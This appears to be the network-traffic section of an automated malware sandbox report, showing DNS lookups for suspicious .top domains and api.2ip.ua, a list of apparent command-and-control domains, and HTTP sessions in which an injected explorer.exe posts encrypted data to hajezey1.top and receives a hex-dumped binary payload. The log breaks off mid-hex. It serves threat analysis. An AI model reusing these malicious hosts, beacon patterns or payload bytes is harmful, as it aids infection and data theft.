Oct 29, 2021 20:30:34.653673887 CEST	192.168.2.7	8.8.8.8	0x3666	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:41.096571922 CEST	192.168.2.7	8.8.8.8	0xcc51	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:41.696048975 CEST	192.168.2.7	8.8.8.8	0x59ae	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:31:13.129337072 CEST	192.168.2.7	8.8.8.8	0xaf84	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 20:29:20.858174086 CEST	8.8.8.8	192.168.2.7	0x73d3	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:20.886290073 CEST	8.8.8.8	192.168.2.7	0x62d1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:21.055284023 CEST	8.8.8.8	192.168.2.7	0xf54e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:21.218452930 CEST	8.8.8.8	192.168.2.7	0x1388	No error (0)	privacytoolzforyou-6000.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.064831018 CEST	8.8.8.8	192.168.2.7	0x69fd	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:24.252674103 CEST	8.8.8.8	192.168.2.7	0xb52f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:40.928164005 CEST	8.8.8.8	192.168.2.7	0x8216	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.092096090 CEST	8.8.8.8	192.168.2.7	0xd313	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.256978989 CEST	8.8.8.8	192.168.2.7	0xb99c	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.424346924 CEST	8.8.8.8	192.168.2.7	0x83eb	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:41.596255064 CEST	8.8.8.8	192.168.2.7	0x3cdf	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:43.629235983 CEST	8.8.8.8	192.168.2.7	0x3eb	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:43.797700882 CEST	8.8.8.8	192.168.2.7	0xd47c	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:43.961450100 CEST	8.8.8.8	192.168.2.7	0x96ee	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:44.132520914 CEST	8.8.8.8	192.168.2.7	0x980d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:46.398327112 CEST	8.8.8.8	192.168.2.7	0x9259	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.106415987 CEST	8.8.8.8	192.168.2.7	0x4d36	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.351737976 CEST	8.8.8.8	192.168.2.7	0x4ce	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.351737976 CEST	8.8.8.8	192.168.2.7	0x4ce	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.351737976 CEST	8.8.8.8	192.168.2.7	0x4ce	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.351737976 CEST	8.8.8.8	192.168.2.7	0x4ce	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:47.351737976 CEST	8.8.8.8	192.168.2.7	0x4ce	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.296569109 CEST	8.8.8.8	192.168.2.7	0x4bcb	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.484147072 CEST	8.8.8.8	192.168.2.7	0x8cf9	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.658396006 CEST	8.8.8.8	192.168.2.7	0x434a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.980878115 CEST	8.8.8.8	192.168.2.7	0x854b	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.980878115 CEST	8.8.8.8	192.168.2.7	0x854b	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.980878115 CEST	8.8.8.8	192.168.2.7	0x854b	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.980878115 CEST	8.8.8.8	192.168.2.7	0x854b	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:51.980878115 CEST	8.8.8.8	192.168.2.7	0x854b	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.034465075 CEST	8.8.8.8	192.168.2.7	0x585e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.201314926 CEST	8.8.8.8	192.168.2.7	0x64a1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.373887062 CEST	8.8.8.8	192.168.2.7	0x649d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.544733047 CEST	8.8.8.8	192.168.2.7	0x6bc6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:54.722946882 CEST	8.8.8.8	192.168.2.7	0x9321	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.539890051 CEST	8.8.8.8	192.168.2.7	0x3837	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.710153103 CEST	8.8.8.8	192.168.2.7	0xfe70	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:56.885906935 CEST	8.8.8.8	192.168.2.7	0xae88	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.046030998 CEST	8.8.8.8	192.168.2.7	0x6041	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:57.213768005 CEST	8.8.8.8	192.168.2.7	0xe76e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:29:59.875693083 CEST	8.8.8.8	192.168.2.7	0x5a82	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:00.314217091 CEST	8.8.8.8	192.168.2.7	0x4ffa	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:00.493067980 CEST	8.8.8.8	192.168.2.7	0x9edf	No error (0)	sysaheu90.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:01.373661995 CEST	8.8.8.8	192.168.2.7	0xcd03	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:01.373661995 CEST	8.8.8.8	192.168.2.7	0xcd03	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:01.373661995 CEST	8.8.8.8	192.168.2.7	0xcd03	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:01.373661995 CEST	8.8.8.8	192.168.2.7	0xcd03	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:01.373661995 CEST	8.8.8.8	192.168.2.7	0xcd03	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:05.073163986 CEST	8.8.8.8	192.168.2.7	0x2096	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:05.314948082 CEST	8.8.8.8	192.168.2.7	0x6e42	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:06.139359951 CEST	8.8.8.8	192.168.2.7	0x54c6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:06.443312883 CEST	8.8.8.8	192.168.2.7	0xf863	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:06.707096100 CEST	8.8.8.8	192.168.2.7	0x8c61	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.096445084 CEST	8.8.8.8	192.168.2.7	0x9b4	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.316358089 CEST	8.8.8.8	192.168.2.7	0x737d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.528799057 CEST	8.8.8.8	192.168.2.7	0x828b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.744049072 CEST	8.8.8.8	192.168.2.7	0xf0a3	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:09.971429110 CEST	8.8.8.8	192.168.2.7	0xae1e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:10.332926989 CEST	8.8.8.8	192.168.2.7	0x7b34	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:11.577822924 CEST	8.8.8.8	192.168.2.7	0xd85d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:11.771446943 CEST	8.8.8.8	192.168.2.7	0x12c8	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:15.547036886 CEST	8.8.8.8	192.168.2.7	0x14de	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:18.921991110 CEST	8.8.8.8	192.168.2.7	0xdc05	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:22.353709936 CEST	8.8.8.8	192.168.2.7	0x934d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:27.903482914 CEST	8.8.8.8	192.168.2.7	0x5456	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:31.247653961 CEST	8.8.8.8	192.168.2.7	0xb3ee	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:34.617084026 CEST	8.8.8.8	192.168.2.7	0x3ba2	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:34.676328897 CEST	8.8.8.8	192.168.2.7	0x3666	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:34.676328897 CEST	8.8.8.8	192.168.2.7	0x3666	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:41.250916004 CEST	8.8.8.8	192.168.2.7	0xcc51	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		151.251.30.69	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		58.124.228.242	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		5.163.179.4	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		176.123.228.234	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		186.74.208.84	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		211.119.84.112	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		189.129.196.81	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		196.200.111.5	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		91.203.174.38	A (IP address)	IN (0x0001)
Oct 29, 2021 20:30:42.035584927 CEST	8.8.8.8	192.168.2.7	0x59ae	No error (0)	znpst.top		89.46.29.238	A (IP address)	IN (0x0001)
Oct 29, 2021 20:31:13.148866892 CEST	8.8.8.8	192.168.2.7	0xaf84	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

rctoc.net

hajezey1.top

cufneavefi.net

privacytoolzforyou-6000.top

ctxsek.com

ivcdxqts.com

hqtrcnnq.org

qhvnsfthad.org

mwdvnqc.org

rprqyk.org

pjooem.net

hfhoss.org

hgdpvqs.net

ryqdxjurg.net

jjrxemk.com

efeydlty.org

glvslni.com

jbxuhdvj.net

axwrxhk.org

dkannuwrja.org

naytoe.com

bggaruuq.net

bcaielan.com

sangssr.org

eyepud.com

dkvmgnfi.com

wbdqtrry.com

mkaqxiicba.net

taupwpt.org

blslkdmyqd.net

chucxho.com

futucrxk.com

sysaheu90.top

iyxlcdj.net

ayllaycsn.com

xcwoodah.org

vtlkrwbu.com

ohksryibbc.com

aandk.com

sbvoxgf.org

qhsdwx.net

akpvscwiwg.net

fftaocheul.net

uqktie.net

tkhdy.net

hhnkknumd.org

toptelete.top

91.219.236.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49773	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49774	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49762	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:40.980958939 CEST	1598	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hqtrcnnq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 243 Host: hajezey1.top
Oct 29, 2021 20:29:40.980983019 CEST	1598	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 50 df 84 7c Data Ascii: 7v:7AFTmwmwu$f]dP\|C~CLc7(-O}>Yk0f?vEdY\j14-c=*4E"U'K4Aa58}g2x=7=A{x_^Ax#ee}/(y
Oct 29, 2021 20:29:41.059622049 CEST	1599	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49763	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:41.144978046 CEST	1600	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qhvnsfthad.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: hajezey1.top
Oct 29, 2021 20:29:41.145674944 CEST	1600	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 14 d8 98 6a Data Ascii: 7v:7AFTmwmwu$f]dj.c1fofc)[p n~"R)cJ.3bhht,QufT9D\?;[6e~n_^_8]5<,?%I{+E:6Zek/<0
Oct 29, 2021 20:29:41.223545074 CEST	1601	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49764	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:41.311482906 CEST	1602	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mwdvnqc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: hajezey1.top
Oct 29, 2021 20:29:41.311513901 CEST	1602	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 31 b8 9b 6c Data Ascii: 7v:7AFTmwmwu$f]d1lAx~4sN2!6#6bLy'Dn`BS7 Zchtb]{#AH$RJtyjC7$mN>u*QTBviN46u_p{K{?Yi[m\
Oct 29, 2021 20:29:41.389851093 CEST	1602	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49765	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:41.482006073 CEST	1603	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rprqyk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: hajezey1.top
Oct 29, 2021 20:29:41.482027054 CEST	1603	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 1f c8 85 0a Data Ascii: 7v:7AFTmwmwu$f]d(BeYkZ(1(oId8jlqU!GV+_bOnu}x$ZEPP;-y$
Oct 29, 2021 20:29:41.563502073 CEST	1604	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49766	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:41.649980068 CEST	1604	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pjooem.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: hajezey1.top
Oct 29, 2021 20:29:41.650047064 CEST	1605	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 54 ab c1 22 Data Ascii: 7v:7AFTmwmwu$f]dT"wq![-ASNC$Gi`21'P"[
Oct 29, 2021 20:29:41.733266115 CEST	1606	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c 